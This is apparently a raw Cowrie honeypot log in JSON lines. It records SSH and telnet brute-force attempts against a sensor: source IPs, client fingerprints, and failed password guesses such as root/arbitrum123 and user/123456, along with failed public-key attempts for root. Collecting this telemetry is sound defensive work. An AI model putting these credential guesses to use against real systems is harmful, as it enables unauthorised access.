{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":33580,"dst_ip":"10.17.0.5","dst_port":22,"session":"31cc00df5365","protocol":"ssh","message":"New connection: 50.6.173.74:33580 (10.17.0.5:22) [session: 31cc00df5365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:39:21.731538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:39:21.735093Z","src_ip":"50.6.173.74","session":"31cc00df5365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:39:21.760530Z","src_ip":"50.6.173.74","session":"31cc00df5365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arbitrum123","message":"login attempt [root/arbitrum123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:39:21.838774Z","src_ip":"50.6.173.74","session":"31cc00df5365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:39:22.866767Z","src_ip":"50.6.173.74","session":"31cc00df5365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":39536,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7be0dd0e57d","protocol":"ssh","message":"New connection: 91.92.40.176:39536 (10.17.0.5:22) [session: d7be0dd0e57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:40:01.339923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:40:01.348773Z","src_ip":"91.92.40.176","session":"d7be0dd0e57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:40:01.430696Z","src_ip":"91.92.40.176","session":"d7be0dd0e57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:40:01.687380Z","src_ip":"91.92.40.176","session":"d7be0dd0e57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:40:02.775317Z","src_ip":"91.92.40.176","session":"d7be0dd0e57d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":51712,"dst_ip":"159.203.135.109","dst_port":23,"session":"08d75371b2f9","protocol":"telnet","message":"New connection: 137.184.5.188:51712 (159.203.135.109:23) [session: 08d75371b2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:40:23.446342Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":35838,"dst_ip":"10.17.0.5","dst_port":22,"session":"54acbda649f7","protocol":"ssh","message":"New connection: 103.82.132.16:35838 (10.17.0.5:22) [session: 54acbda649f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:40:38.622104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:40:38.626060Z","src_ip":"103.82.132.16","session":"54acbda649f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:40:38.876641Z","src_ip":"103.82.132.16","session":"54acbda649f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24061993","message":"login attempt [root/24061993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:40:39.629873Z","src_ip":"103.82.132.16","session":"54acbda649f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:40:40.883714Z","src_ip":"103.82.132.16","session":"54acbda649f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00569915771484,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:41:00.080008Z","src_ip":"137.184.5.188","session":"e991afa82b73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56140,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea9991da6dcf","protocol":"telnet","message":"New connection: 170.64.224.25:56140 (159.203.135.109:23) [session: ea9991da6dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:41:34.048117Z"}
{"eventid":"cowrie.session.closed","duration":73.75945448875427,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:41:37.205697Z","src_ip":"137.184.5.188","session":"08d75371b2f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":39570,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab88d482038b","protocol":"ssh","message":"New connection: 103.248.120.6:39570 (10.17.0.5:22) [session: ab88d482038b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:41:42.384461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:41:42.388782Z","src_ip":"103.248.120.6","session":"ab88d482038b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:41:42.611673Z","src_ip":"103.248.120.6","session":"ab88d482038b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student!","message":"login attempt [student/student!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:41:43.536990Z","src_ip":"103.248.120.6","session":"ab88d482038b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:41:44.762530Z","src_ip":"103.248.120.6","session":"ab88d482038b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.221.82","src_port":49296,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aa29f3f1847","protocol":"ssh","message":"New connection: 172.110.221.82:49296 (10.17.0.5:22) [session: 9aa29f3f1847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:41:59.450884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:41:59.457332Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:41:59.562232Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:25:e9:87:43:a1:b8:6d:33:a8:15:e2:bf:4c:9e:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbhgHOgJ+T+TE95lGm/+UJon8MtcEfL+fza/ROMr8k1tJPzcz8eovu6I/jjjNoQlms3aSaidXyMFQ/BIriA/86BqDPCeWWcYMTwfZKT6RjFgXUc64EaLvJ3vRJ07J6onn6wUoPaP/0QEgx2fxFdYDuv/MOOdCRFWDgHhRY7sjlzUjv1RSUz312NDp7WpZq2gyruJYJoGqnp9aSGZe7s2yhWWb38uQ38yMyX8iAoQVfDqZuIeIJfrQJ/iKu2J7DQVccFMWR9zy9HL7aN6ZV8eAAehcIqm6r8VmgKl090R0VCIezY+dfq13HCA9ar/of5EI9Pt/jvqmSYV4YbmtwLlh9Lnp82a06o04yFnSJV2uRB0oN9wbNig42QvTgVVAjOl+kdFab3+javJnzGmQlIXQqAxdvXFKWWRwi92BOUPWWib1mZPotzvTu05AOWEmZ809nJOJgSewnoS/QOLMjCoGf/igmB9PMZj/8F1QF41XH5Qc4F3ARnrmO81fSDdsLxeF3lORBDoZ6kn8gVt4KboQ9Gq/xCRV+fXNR/nCmfR046Zi4L1q9fwO7dUbwKXpGuDS+krHsBTxwrMMoQTS7BbV4JEPDm6z5P8YgEBBuqyEMYhkmAXz4BJEllee8pmpa2/TcG1I+1iKdX6Ec6EHsm8UQh6wC9+lqnUleWbsqBLA3ZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:25:e9:87:43:a1:b8:6d:33:a8:15:e2:bf:4c:9e:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:00.053305Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:25:e9:87:43:a1:b8:6d:33:a8:15:e2:bf:4c:9e:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbhgHOgJ+T+TE95lGm/+UJon8MtcEfL+fza/ROMr8k1tJPzcz8eovu6I/jjjNoQlms3aSaidXyMFQ/BIriA/86BqDPCeWWcYMTwfZKT6RjFgXUc64EaLvJ3vRJ07J6onn6wUoPaP/0QEgx2fxFdYDuv/MOOdCRFWDgHhRY7sjlzUjv1RSUz312NDp7WpZq2gyruJYJoGqnp9aSGZe7s2yhWWb38uQ38yMyX8iAoQVfDqZuIeIJfrQJ/iKu2J7DQVccFMWR9zy9HL7aN6ZV8eAAehcIqm6r8VmgKl090R0VCIezY+dfq13HCA9ar/of5EI9Pt/jvqmSYV4YbmtwLlh9Lnp82a06o04yFnSJV2uRB0oN9wbNig42QvTgVVAjOl+kdFab3+javJnzGmQlIXQqAxdvXFKWWRwi92BOUPWWib1mZPotzvTu05AOWEmZ809nJOJgSewnoS/QOLMjCoGf/igmB9PMZj/8F1QF41XH5Qc4F3ARnrmO81fSDdsLxeF3lORBDoZ6kn8gVt4KboQ9Gq/xCRV+fXNR/nCmfR046Zi4L1q9fwO7dUbwKXpGuDS+krHsBTxwrMMoQTS7BbV4JEPDm6z5P8YgEBBuqyEMYhkmAXz4BJEllee8pmpa2/TcG1I+1iKdX6Ec6EHsm8UQh6wC9+lqnUleWbsqBLA3ZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:00.056964Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:71:54:8c:3a:22:cd:21:85:3b:64:3d:77:e8:ce:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDKu1wp5aLu12xZSyXN7mmxgX7jXRHmHDsU3HIDi/9gaQA1Rt40g4x5gBBDaNJ7CDH7kN1vKms6qSMoq5BNeiWYrMrEI1hzh71UvygFj8n/pwBqbXfNcCpLq2/jMVBpIGCEuv6P+ijZhSG+4dMzTx+JZTozZDHG7Yd7b0R1NfiiPkKJ67DM8fl1xP46dKrLTkCrmZz+x6hv52K4+ws1DFw0XZtjxVu2M59A/bUXma7jw4wnIJ9cxyM9CYB8StOIsqV9jaHd/lP52rd6vKoXC2zw3jDjManfmkzCEFzD6qLm+hwdhameyb/miEoPDh2hUcMNnxoSzZ01/DkAdiBChbL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:71:54:8c:3a:22:cd:21:85:3b:64:3d:77:e8:ce:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:00.160359Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:71:54:8c:3a:22:cd:21:85:3b:64:3d:77:e8:ce:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDKu1wp5aLu12xZSyXN7mmxgX7jXRHmHDsU3HIDi/9gaQA1Rt40g4x5gBBDaNJ7CDH7kN1vKms6qSMoq5BNeiWYrMrEI1hzh71UvygFj8n/pwBqbXfNcCpLq2/jMVBpIGCEuv6P+ijZhSG+4dMzTx+JZTozZDHG7Yd7b0R1NfiiPkKJ67DM8fl1xP46dKrLTkCrmZz+x6hv52K4+ws1DFw0XZtjxVu2M59A/bUXma7jw4wnIJ9cxyM9CYB8StOIsqV9jaHd/lP52rd6vKoXC2zw3jDjManfmkzCEFzD6qLm+hwdhameyb/miEoPDh2hUcMNnxoSzZ01/DkAdiBChbL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:00.163675Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:db:76:39:83:e3:c0:92:b1:91:d3:4a:01:a7:9b:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDklXzX2rOrzmWFUEzSACgSMuakSNKYt5XyqoxXRI6ZukCwz3SMuXLtuUp9bnber3/EMyg22UA0VuHdaErBiGb+9QermQQfV9WLyEu7osbtGETE547dl0TifkaNAuWBOgA2cWhYXLNsMldyWEDedg89PW7LXwznMt3KwOezhJ69DQQyW+miZv1G9zQA58Gsotzh+SQGi5N8W5szXPEhAEXFW2bRUfNALoHbh5HVDK3Dg+Hd5SGTiu11+3WDIPduSlSSwhvDgIdLjnJfz9zmpCkYPJF0kAkWOSAF57gzdMkltsRAD1vQ/xkQ1Fyv7RYvNUgGgeOti+pMp/CWMdc0FuJV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:db:76:39:83:e3:c0:92:b1:91:d3:4a:01:a7:9b:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:00.266550Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:db:76:39:83:e3:c0:92:b1:91:d3:4a:01:a7:9b:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDklXzX2rOrzmWFUEzSACgSMuakSNKYt5XyqoxXRI6ZukCwz3SMuXLtuUp9bnber3/EMyg22UA0VuHdaErBiGb+9QermQQfV9WLyEu7osbtGETE547dl0TifkaNAuWBOgA2cWhYXLNsMldyWEDedg89PW7LXwznMt3KwOezhJ69DQQyW+miZv1G9zQA58Gsotzh+SQGi5N8W5szXPEhAEXFW2bRUfNALoHbh5HVDK3Dg+Hd5SGTiu11+3WDIPduSlSSwhvDgIdLjnJfz9zmpCkYPJF0kAkWOSAF57gzdMkltsRAD1vQ/xkQ1Fyv7RYvNUgGgeOti+pMp/CWMdc0FuJV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:00.269756Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:0a:24:db:46:a3:66:b0:c2:73:7d:22:34:d9:81:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDECydNGDCgUri2VCAuSS6+jkXSecTafw5sI2pvleC8RgmEwVFnBAv7HYTrnBM7ptqt3nTJ64RpnSdAhbbI9N6bXzhtwl/frp5yRIbL9PX2RBgIC/bsFtsbKeARhQRmEMr3c/awvMHanF9D0GoycQvrRdslNujk1v+1genIsVEvpgP9OuETAFL25BDJil+z/Cn627EMXHyHtA+qHQOsx8G0TdINPwzTAfaVMBuQripNbbvZlV6928D7A8pRbKroxbV6j5JYIkV65DOmblBQPVIE4EQSDQk3C1V4fDlEQAf/aYj586Yl3kkNuXkgtWvV3GmXUxM5SMDj8z4uJagWl97XbMHXA0+jfGz3t/JpurzTKIbcgSMGHPgHxLfvlCpeJiNvIti58pi9GWYBVYkzpm2jHwy0jMXagmxNSY+iaS/4x3tEsmNb/4aF5y7NCe8591BgpWm1p5gGrsq3uWGv2Xhq+L+V3/toKOSiWF2Ma3o5+gKAhgZic1M2hOlp02iAHbXDkzAvCyIpx/h2SQjwsHhEHdnX1l35+pK8KWzmiWB6pNRj20c5IuCdAqY/YEDs952edzVwXrYuVPmHhmMRXEC62oClkIjPRIbGlQFFFmjdzeDXMtYsaIySKz6wjmNRDdTw8L6r7XPQ9wl4GVMKZMmxJmXwq+je3BSeAI8asSbcmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:0a:24:db:46:a3:66:b0:c2:73:7d:22:34:d9:81:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:42:00.374879Z","src_ip":"172.110.221.82","session":"9aa29f3f1847","protocol":"ssh"}
